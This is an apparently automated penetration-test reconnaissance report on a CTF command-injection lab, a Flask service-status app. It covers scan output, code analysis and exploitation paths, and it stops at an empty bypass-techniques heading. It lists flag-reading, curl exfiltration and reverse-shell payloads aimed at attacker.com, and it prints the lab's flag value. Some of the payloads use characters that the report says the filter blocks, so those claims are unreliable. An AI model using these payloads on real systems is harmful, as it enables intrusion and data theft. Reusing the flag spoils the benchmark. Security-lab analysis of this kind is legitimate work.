# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-30 11:16 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000048s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 992 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-server-header: Caddy
|_http-title: Site doesn't have a title.
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
|_http-title: Home - CUPS 2.3.4
|_http-server-header: CUPS/2.3 IPP/2.1
4444/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
|_http-title: Directory listing for /
| http-git: 
|   127.0.0.1:4444/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: \xE2\x9C\x85 Executive Summary and Report Cleanup: completed successf...
8888/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
9998/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
| uptime-agent-info: <!DOCTYPE HTML>
| <html lang="en">
|     <head>
|         <meta charset="utf-8">
|         <title>Error response</title>
|     </head>
|     <body>
|         <h1>Error response</h1>
|         <p>Error code: 400</p>
|         <p>Message: Bad request syntax ('sysinfo').</p>
|         <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_</html>
|_http-title: Directory listing for /
| http-git: 
|   127.0.0.1:9998/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: \xE2\x9C\x85 Executive Summary and Report Cleanup: completed successf...
9999/tcp  open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, JavaRMI, Kerberos, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Content-Type: text/plain
|     Date: Thu, 30 Oct 2025 18:16:17 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Thu, 30 Oct 2025 18:16:17 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Thu, 30 Oct 2025 18:16:22 GMT
|_    Connection: close
49152/tcp open  http      Golang net/http server
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Thu, 30 Oct 2025 18:16:17 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.97%I=7%D=10/30%Time=6903AB71%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,E5,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\n
SF:Access-Control-Allow-Headers:\x20Content-Type\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\nOK")%r(HTTPOptions,C9,"HTTP/1\.1\x20200\x20OK\r\
SF:nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\x2
SF:0GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content-T
SF:ype\r\nDate:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(FourOhFourRequest,E5,"HTTP/1\.1\x20200\x20OK\
SF:r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\
SF:x20GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content
SF:-Type\r\nContent-Type:\x20text/plain\r\nDate:\x20Thu,\x2030\x20Oct\x202
SF:025\x2018:16:17\x20GMT\r\nConnection:\x20close\r\n\r\nOK")%r(JavaRMI,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(RTSPRequest,C9,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin
SF::\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\
SF:nAccess-Control-Allow-Headers:\x20Content-Type\r\nDate:\x20Thu,\x2030\x
SF:20Oct\x202025\x2018:16:22\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RP
SF:CCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help,2F,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(TerminalServerCookie,2F,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nConnection:\x20close\r\n\r\n")%r(TLSSessionReq,2F,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49152-TCP:V=7.97%I=7%D=10/30%Time=6903AB71%P=arm-apple-darwin24.4.0
SF:%r(FourOhFourRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent-S
SF:ecurity-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none';
SF:\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src-a
SF:ttr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTails
SF:cale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb973
SF:0\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\n
SF:Date:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nContent-Length
SF::\x2014\r\n\r\nauth\x20required\n")%r(GenericLines,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(GetRequest,192,"H
SF:TTP/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-
SF:src\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x
SF:20script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailsca
SF:le-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Thu,\x2030\x20Oct\
SF:x202025\x2018:16:17\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requ
SF:ired\n")%r(HTTPOptions,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent
SF:-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none
SF:';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src
SF:-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTai
SF:lscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb9
SF:730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r
SF:\nDate:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nContent-Leng
SF:th:\x2014\r\n\r\nauth\x20required\n")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.52 seconds


## Subdomain Discovery (subfinder)
Status: success
fndlync01.5ninesdata.localhost
autodiscover.localhost
mail02.regency.localhost
server02.counterintel.localhost
mail.localhost
mail03.regency.localhost
mail.regency.localhost
owa.regency.localhost
server2.hunter.localhost
tools.sonoma.edu.localhost
www.localhost
naeu2.naeuinc.localhost
mse-ca-mail.corp.mse.localhost
autodiscover.regency.localhost
sbs.allsaintsschool.localhost
exchvm.nwcnet.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:45613[0m [200 OK] [1mHTML5[0m, [1mHTTPServer[0m[[1m[36mWerkzeug/3.0.6 Python/3.8.20[0m], [1mIP[0m[[0m[22m::1[0m], [1mPython[0m[[1m[32m3.8.20[0m], [1mScript[0m, [1mTitle[0m[[1m[33mService Status Dashboard[0m], [1mWerkzeug[0m[[1m[32m3.0.6[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings and recommendations adhere to this scope.

### In-Scope: Network-Reachable Components
- Publicly exposed HTTP endpoints on port 80
- GET `/` - Service status dashboard
- POST `/check_service` - Service checking API
- All code paths triggered by HTTP requests to these endpoints

### Out-of-Scope: Locally Executable Only
- Makefile build automation
- Docker Compose orchestration commands
- Docker healthcheck curl command (internal container monitoring)
- Dockerfile build instructions
- Local development tools

---

## 1. Executive Summary

This security analysis examines a Flask-based Python web application (version 3.0.3) functioning as a "Service Status Dashboard." The application presents a **critically vulnerable security posture** with multiple high-severity findings that enable complete system compromise.

The application's architecture is intentionally minimalistic - a monolithic single-container deployment with only 39 lines of Python code and two HTTP endpoints. However, this simplicity masks a **critical command injection vulnerability** that provides direct remote code execution (RCE) capabilities without any authentication requirements. The application implements zero security controls: no authentication, no authorization, no session management, no CSRF protection, no rate limiting, and no security headers.

The most critical security concern is the combination of three factors: (1) a POST endpoint (`/check_service`) that accepts user input, (2) inadequate input validation using a bypassable blacklist approach, and (3) direct shell command execution via `subprocess.check_output()` with `shell=True`. This vulnerability chain allows an external attacker to execute arbitrary commands on the host system and extract the CTF flag stored at `/app/FLAG.txt`. The application's complete lack of authentication means this attack surface is immediately exploitable by any network-accessible client.

From a penetration testing perspective, this application represents a textbook example of insecure design patterns with a clear exploitation path: craft a malicious JSON payload to the `/check_service` endpoint that bypasses the character blacklist, inject shell commands through the subprocess call, and retrieve sensitive data including the plaintext flag. The absence of defensive mechanisms (WAF, rate limiting, logging) means exploitation attempts are undetected and unlimited.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built on **Flask 3.0.3** (Python 3.8) running in a containerized environment based on the `python:3.8-slim` Docker image. Flask is configured to run in production mode (debug disabled) and listens on all network interfaces (`0.0.0.0:80`). The application uses Flask's built-in development server rather than a production-grade WSGI server like Gunicorn or uWSGI, which presents performance and security limitations. The only Python dependency is Flask itself - there are no authentication extensions (Flask-Login, Flask-Security), no CORS handling (Flask-CORS), no rate limiting (Flask-Limiter), and no security header middleware (Flask-Talisman).

From a security perspective, Flask 3.0.3 (released March 2024) is relatively current and does not have known critical CVEs at the framework level. However, the application's security issues stem from implementation choices rather than framework vulnerabilities. The use of Flask's development server in production is a minor concern compared to the application logic vulnerabilities. The minimalist dependency footprint reduces third-party supply chain attack risks but provides no security benefits when the core application logic is fundamentally insecure.

The application integrates with a Bash shell script (`check_service.sh`) for backend service validation logic. This script contains 92 lines of bash code with an `eval` command that executes arbitrary user input (line 77). The Python application invokes this script via `subprocess.check_output()` with `shell=True`, creating a direct command injection pathway. Additionally, the Docker container includes system utilities (`iputils-ping`, `curl`, `procps`) that can be leveraged post-exploitation for network reconnaissance, data exfiltration, and lateral movement.

### Architectural Pattern

This application follows a **monolithic single-container architecture** with no external service dependencies. The complete system consists of three components operating within a single Docker container: (1) the Flask web server handling HTTP requests on port 80, (2) a Bash shell script for service status checking, and (3) an HTML/JavaScript frontend served as a static template. There are no databases, caching layers, message queues, or external APIs - all functionality is self-contained within the container.

The request flow demonstrates a simple but dangerous pattern: clients make HTTP requests to the Flask application → Flask extracts JSON parameters → input undergoes weak blacklist validation → validated input is concatenated into a shell command string → the shell command is executed via subprocess with full shell interpretation → the bash script receives the input and may execute it via `eval` → results are returned to the client as JSON. This architecture creates multiple trust boundaries with inadequate security controls at each transition point.

The application defines three critical trust boundaries: (1) **External → Flask**: user input arrives via HTTP POST requests with JSON bodies, (2) **Flask → Bash**: command-line arguments are passed to the shell script through subprocess execution, and (3) **Bash → System**: direct system command execution occurs via the `eval` statement. Each boundary has insufficient sanitization - the Flask layer uses a blacklist that can be bypassed, the subprocess call uses `shell=True` enabling shell metacharacter interpretation, and the bash script directly evaluates user input without any validation. This cascading failure of security controls creates a trivially exploitable attack path.

### Critical Security Components

**Authentication & Authorization**: The application implements **zero authentication or authorization mechanisms**. There are no user management capabilities, no login endpoints, no password validation, no JWT or OAuth implementations, and no role-based access controls. Both HTTP endpoints (`/` and `/check_service`) are publicly accessible without credentials. This means the critical command injection vulnerability at `/check_service` is immediately exploitable by any attacker with network access to port 80.

**Input Validation**: The application implements a blacklist-based input validation function (`contains_bad_chars()`) at lines 7-9 in `app.py`. This function filters seven characters: `&`, `|`, `$`, `;`, newline, carriage return, and backtick. However, this blacklist approach is fundamentally flawed and bypassable. It fails to filter parentheses `()`, brackets `{}[]`, angle brackets `<>`, the dash character `-` (critical for flag injection), forward slashes `/`, and numerous other shell metacharacters. Most critically, it does not prevent the `-t` flag from being passed to the bash script, which enables the "custom" execution mode that contains the dangerous `eval` statement. A penetration tester can bypass this validation using payloads like `-t custom "cat /app/FLAG.txt"` or exploiting bash variable substitution techniques.

**Command Execution**: The application contains two critical command execution vulnerabilities. The primary vulnerability exists at line 26 of `app.py` where `subprocess.check_output(command, shell=True)` executes a user-controlled command string. The `shell=True` parameter enables full shell interpretation of the command, allowing metacharacter injection and command chaining. The secondary vulnerability exists at line 77 of `check_service.sh` where `eval $custom_command` directly executes user input as bash code. This eval statement is reached when the script receives the `-t custom` flag followed by a command string. Together, these vulnerabilities create a complete remote code execution capability accessible via the `/check_service` POST endpoint without authentication.

**Security Headers**: The application implements **zero security headers**. Critical missing headers include: Content-Security-Policy (CSP) to prevent XSS and code injection, HTTP Strict-Transport-Security (HSTS) to enforce HTTPS connections, X-Frame-Options to prevent clickjacking attacks, X-Content-Type-Options to prevent MIME sniffing, X-XSS-Protection for legacy browser protection, Referrer-Policy to control referrer information leakage, and Permissions-Policy to restrict browser features. The application uses HTTP-only (no TLS/HTTPS), transmitting all data including the flag in plaintext over the network. For penetration testing, the lack of CSP means successful XSS exploitation (though no XSS sinks were found) would have no restrictions, and the lack of HSTS means MITM attacks are trivially feasible.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Finding: NO AUTHENTICATION PRESENT**

This application implements absolutely zero authentication mechanisms. There are no login or logout endpoints, no user registration functionality, no credential validation logic, no password hashing implementations, and no token-based authentication systems (JWT, OAuth, OIDC, SAML). The Flask application does not configure a `SECRET_KEY`, which would be required for any session-based authentication. An exhaustive code review of `app.py` (39 lines) confirms no authentication decorators, middleware, or function calls exist.

The complete absence of authentication means both HTTP endpoints are publicly accessible without any identity verification. An external attacker can immediately access the `/check_service` endpoint and exploit the command injection vulnerability without needing to bypass login mechanisms, steal credentials, or obtain session tokens. This dramatically lowers the exploitation barrier and makes the application's critical vulnerabilities immediately exploitable from the public internet.

From a penetration testing perspective, this finding is significant because it eliminates an entire phase of the attack - there is no need to enumerate user accounts, perform password attacks, test for authentication bypasses, or steal session tokens. The attacker proceeds directly to exploiting the command injection vulnerability. However, it also means there are no authentication-related vulnerabilities to test (credential stuffing, session fixation, JWT algorithm confusion, OAuth misconfiguration, etc.).

**Exhaustive Authentication Endpoint List:**
- **None exist** - The application has only two endpoints (`/` and `/check_service`), neither of which perform authentication

### Session Management

**Finding: NO SESSION MANAGEMENT PRESENT**

The application does not implement any session management capabilities. Flask's session handling is not utilized - there is no `app.secret_key` configuration (required for signing session cookies), no `session` object usage in the code, and no session storage backend (Redis, Memcached, database). The application is completely stateless, with no ability to track user identity across requests.

**Session Cookie Security Analysis:**

No session cookies are set by the application, therefore session cookie security flags are not applicable. If session management were implemented, the critical security configurations would need to be set in Flask:
- `SESSION_COOKIE_HTTPONLY` - Not configured (would prevent JavaScript access to session cookies)
- `SESSION_COOKIE_SECURE` - Not configured (would enforce HTTPS-only cookie transmission) 
- `SESSION_COOKIE_SAMESITE` - Not configured (would prevent CSRF attacks via cross-site cookie submission)
- `PERMANENT_SESSION_LIFETIME` - Not configured (would control session timeout)

**Code Location:** 
```python
# /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py
Line 5: app = Flask(__name__)
# No session configuration present anywhere in the file
```

The stateless nature of the application means session-based attacks (session fixation, session hijacking, session replay) are not applicable. However, it also means the application cannot implement proper CSRF protection using session tokens, and there is no session timeout to limit the window of opportunity for exploitation.

### Authorization Model

**Finding: NO AUTHORIZATION MECHANISMS PRESENT**

The application implements zero authorization or access control mechanisms. There is no role-based access control (RBAC), no attribute-based access control (ABAC), no access control lists (ACLs), and no permission checking logic. Both endpoints in the application have identical access controls: none. Any client with network connectivity can access any functionality.

Code analysis reveals no authorization decorators (like `@login_required`, `@admin_required`), no permission checking functions, no role definitions, and no middleware that validates access rights. The `/check_service` endpoint, which contains the critical command injection vulnerability, has the same access level as the public dashboard - completely open.

For penetration testing, this finding means there are no privilege escalation vulnerabilities to test, no authorization bypasses to attempt, and no role-based access control bypasses to exploit. Every user (authenticated or not) has identical access to all functionality, which in this case means unrestricted access to the command injection vulnerability.

### SSO/OAuth/OIDC Flows

**Finding: NO SSO OR OAUTH IMPLEMENTATION**

The application does not implement any Single Sign-On, OAuth, OpenID Connect, or SAML authentication flows. There are no callback endpoints for OAuth providers, no state parameter validation, no nonce validation, no JWT signature verification, and no OIDC discovery endpoint integration. The application does not delegate authentication to any external identity providers.

This finding eliminates several potential vulnerability classes from the penetration testing scope: OAuth state parameter bypasses, nonce reuse attacks, JWT signature algorithm confusion (CVE-2015-9235), OIDC authorization code interception, SAML signature wrapping attacks, and IdP impersonation attacks.

### Multi-Factor Authentication

**Finding: NO MFA IMPLEMENTATION**

The application does not implement multi-factor authentication (MFA) mechanisms. There are no TOTP (Time-based One-Time Password) implementations, no SMS verification, no hardware token support, no biometric authentication, and no backup code systems. This finding is a direct consequence of the complete absence of authentication - MFA cannot exist without a primary authentication factor.

---

## 4. Data Security & Storage

### Database Security

**Finding: NO DATABASE PRESENT**

This application does not use any database technology. Comprehensive code analysis confirms the absence of database connections, ORM frameworks, query execution, and data persistence layers. The `requirements.txt` file contains only a single dependency (Flask 3.0.3), with no database drivers like `psycopg2` (PostgreSQL), `pymysql` (MySQL), `pymongo` (MongoDB), or ORM libraries like SQLAlchemy. The application code contains no database connection strings, query statements, or data access layer patterns.

The reference to "mysql" visible in the frontend JavaScript code (`['apache', 'mysql', 'nginx', 'ssh']` at line 62 of `index.html`) is purely cosmetic - these are predefined service names displayed in the UI dashboard, not actual database connections. The application's stateless design means all data exists only during the request lifecycle and is not persisted anywhere.

From a penetration testing perspective, this finding eliminates an entire category of vulnerabilities from the test scope: SQL injection, NoSQL injection, database authentication bypasses, database privilege escalation, connection string exposure, ORM query bypasses, stored procedure injection, and database-specific CVEs are all non-applicable. However, the absence of a database also means there is no audit logging of exploitation attempts, no data integrity controls, and no ability to track attacker actions.

### Data Flow Security - Sensitive Data Handling

**Finding: CRITICAL - PLAINTEXT FLAG STORAGE IN MULTIPLE LOCATIONS**

The application stores the CTF flag (sensitive secret) in plaintext across four distinct locations, creating multiple attack vectors for extraction:

1. **Container Filesystem: `/app/FLAG.txt`** - The Dockerfile creates this file at build time (lines 13-14) using `RUN echo -n $FLAG > /app/FLAG.txt`. This file persists in the container's filesystem and is accessible to any code execution vulnerability. It has standard Linux file permissions and can be read via command injection using `cat /app/FLAG.txt`.

2. **Host `.env` File** - The repository contains a `.env` file (line 1) with `FLAG="flag{e4989f65-575a-4213-a9e7-87a96cb61e87}"`. While environment variable storage is a better practice than hardcoding secrets, storing the `.env` file in the source code repository (likely committed to version control) exposes the secret to anyone with repository access.

3. **Docker Build Arguments** - The `docker-compose.yml` file passes the flag as a build argument (line 6). Build arguments are embedded in Docker image layer metadata and can be extracted using `docker history <image_id>` even without running the container. This creates a persistent secret exposure in the image artifact.

4. **Docker Image Layer History** - Since the flag is used during the `RUN` command in the Dockerfile, it becomes part of the image's layer history and can be extracted through image inspection commands, even after the container is deployed to a registry.

The plaintext storage combined with the command injection vulnerability creates a direct exploitation path: an attacker can send a POST request to `/check_service` with the payload `{"service_name": "-t custom \"cat /app/FLAG.txt\""}` to directly read the flag file. The lack of encryption means this exfiltration is trivial once command execution is achieved.

**Data Encryption Analysis:**

The application implements **zero cryptographic protections**:
- **No data-at-rest encryption**: The flag file is stored as plaintext without encryption
- **No data-in-transit encryption**: The application runs HTTP-only (port 80) without TLS/HTTPS, meaning all network traffic including the flag is transmitted unencrypted and vulnerable to MITM interception
- **No encryption libraries**: Code analysis reveals no imports of cryptographic modules like `cryptography`, `pycryptodome`, `bcrypt`, or `hashlib`
- **No key management**: No integration with secure key management systems like HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault

### Multi-Tenant Data Isolation

**Finding: NOT APPLICABLE - SINGLE-TENANT ARCHITECTURE**

The application does not implement multi-tenancy. There are no user accounts, no organizational boundaries, no tenant identifiers, and no data segregation logic. The application is designed as a single-instance service with no concept of separate user contexts or data isolation requirements.

This finding eliminates multi-tenant specific vulnerabilities from the penetration testing scope: cross-tenant data access, tenant identifier injection, shared schema privilege escalation, and tenant enumeration attacks are all non-applicable.

### Sensitive Data Inventory

**PII (Personally Identifiable Information):** NONE - The application collects no personal information, user profiles, email addresses, names, or identifiable data.

**Payment Data:** NONE - No credit card processing, financial transactions, or PCI-DSS scope data exists.

**Authentication Credentials:** NONE - The application has no user accounts, passwords, API keys for users, or credential storage.

**Session Data:** NONE - The stateless application design means no session data is stored.

**Application Secrets:** ONE CRITICAL SECRET - The CTF flag stored in plaintext across multiple locations as detailed above.

---

## 5. Attack Surface Analysis

### External Entry Points

This application exposes precisely **two network-accessible HTTP endpoints** on port 80. Both endpoints are reachable from external networks without VPN or internal network access requirements, assuming standard internet routing to the host.

#### Entry Point 1: Service Status Dashboard

- **Route:** `GET /`
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py`, Lines 32-34
- **Authentication Required:** None - publicly accessible
- **Functionality:** Serves the main HTML dashboard interface via Flask's `render_template('index.html')` function
- **Template:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/templates/index.html` (238 lines)
- **Input Parameters:** None - static page rendering
- **Attack Surface Analysis:** This endpoint has minimal direct attack surface as it serves a static template with no user input parameters. The rendered HTML contains JavaScript that initiates client-side requests to the second endpoint. No server-side template injection vulnerabilities exist because no user data is passed to the template context. The template uses Jinja2's auto-escaping, which would prevent XSS even if user data were rendered.
- **Security Assessment:** LOW RISK - Static content serving with no dynamic user input processing

#### Entry Point 2: Service Status Check API

- **Route:** `POST /check_service`
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py`, Lines 12-30
- **Authentication Required:** None - publicly accessible
- **Functionality:** Accepts JSON input specifying a service name, invokes a bash script to check service status, and returns the result as JSON
- **HTTP Method:** POST only
- **Content-Type:** application/json
- **Input Parameters:**
  - `service_name` (string) - The name of the service to check (intended values: apache, mysql, nginx, ssh)
- **Expected Request Format:**
```json
{
  "service_name": "apache"
}
```
- **Response Format:**
```json
{
  "service_name": "apache",
  "status": "true"
}
```
- **Attack Surface Analysis:** This endpoint represents the **primary attack surface** of the entire application. User input flows directly from the JSON request body through weak validation into a shell command execution context. The attack chain consists of: (1) Extract `service_name` from JSON (line 14), (2) Apply blacklist validation (line 16) which can be bypassed, (3) Concatenate input into shell command string (line 22): `command = f"./check_service.sh {service_name}"`, (4) Execute command with full shell interpretation via `subprocess.check_output(command, shell=True)` (line 26), (5) The bash script may execute arbitrary commands via `eval` if the `-t custom` flag is provided.

**Critical Vulnerability Details:**
```python
# Lines 14-26 of app.py
service_name = request.json.get('service_name', '')

if contains_bad_chars(service_name):
    return jsonify({"error": "Invalid service name"}), 400

# Construct the command to run the shell script
command = f"./check_service.sh {service_name}"

# Running the shell script
try:
    result = subprocess.check_output(command, shell=True)
```

The `contains_bad_chars()` function (lines 7-9) implements a bypassable blacklist that filters only seven characters: `&`, `|`, `$`, `;`, `\n`, `\r`, and backtick. This validation fails to block the critical `-t` flag that enables the bash script's "custom" mode containing the `eval` vulnerability. A penetration tester can exploit this with payloads like:
- `"-t custom \"cat /app/FLAG.txt\""` - Direct flag extraction
- `"-t custom \"curl http://attacker.com/?data=$(cat /app/FLAG.txt)\""` - Data exfiltration
- `"-t custom \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\""` - Reverse shell

**Security Assessment:** CRITICAL RISK - Unauthenticated remote code execution vulnerability

### Backend Shell Script Analysis

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/check_service.sh` (92 lines of bash)

This bash script implements three operation modes based on the `-t` flag:

1. **systemctl mode (default)** - Lines 54-57: Always returns "true" - this is a mock implementation with no actual service checking
2. **ps mode** - Lines 59-66: Uses `ps -A | grep` to check if a process exists. Contains a secondary vulnerability with unquoted variable at line 61: `grep -q $service_name`
3. **custom mode (CRITICAL)** - Lines 68-83: Executes arbitrary shell commands via `eval $custom_command` at line 77

The custom mode represents a **secondary command injection vulnerability** that compounds the primary subprocess vulnerability. When the bash script receives `-t custom "malicious_command"`, it directly executes the command via `eval` without any validation. The code path is:

```bash
# Lines 68-77 of check_service.sh
custom)
  custom_command=$1
  if [ -z "$custom_command" ]; then
    echo "Custom command not specified."
    show_help
    exit 0
  fi

  # Execute the custom command
  eval $custom_command  # LINE 77 - ARBITRARY CODE EXECUTION
```

This eval statement executes with the privileges of the Flask application process (running as root in the Docker container based on the Dockerfile having no USER directive). An attacker achieving code execution through this path gains full container access and can read `/app/FLAG.txt`, enumerate the container environment, and potentially escape the container.

### Input Validation Patterns

**Blacklist Validation Function:**
```python
# Lines 7-9 of app.py
def contains_bad_chars(s):
    special_chars = ['&', '|', '$', ';', '\n', '\r', '`']
    return any(char in s for char in special_chars)
```

This validation approach is fundamentally flawed from a security perspective. Blacklist-based validation (blocking known-bad inputs) is weaker than whitelist-based validation (allowing only known-good inputs). The blacklist misses numerous dangerous characters and patterns:

**Missing Dangerous Characters:**
- Parentheses `()` - Command substitution in bash: `$(command)`
- Braces `{}` - Command grouping and expansion
- Brackets `[]` - Character class matching and globbing
- Angle brackets `<>` - Input/output redirection
- Dash `-` - **CRITICAL OMISSION** - Allows injection of command-line flags like `-t custom`
- Forward slash `/` - Path traversal and absolute paths
- Space character - **CRITICAL OMISSION** - Enables multi-word commands and arguments
- Asterisk `*`, Question mark `?` - Glob patterns for file matching
- Hash `#` - Comment character
- Tilde `~` - Home directory expansion
- Exclamation `!` - History expansion (in interactive shells)

The most significant omission is the lack of validation against the `-t` flag. This allows an attacker to change the bash script's execution mode from safe "systemctl" checking to dangerous "custom" mode. Additionally, the lack of space character filtering means an attacker can inject multi-word commands and arguments.

**Bypass Techniques for Penetration Testing:**
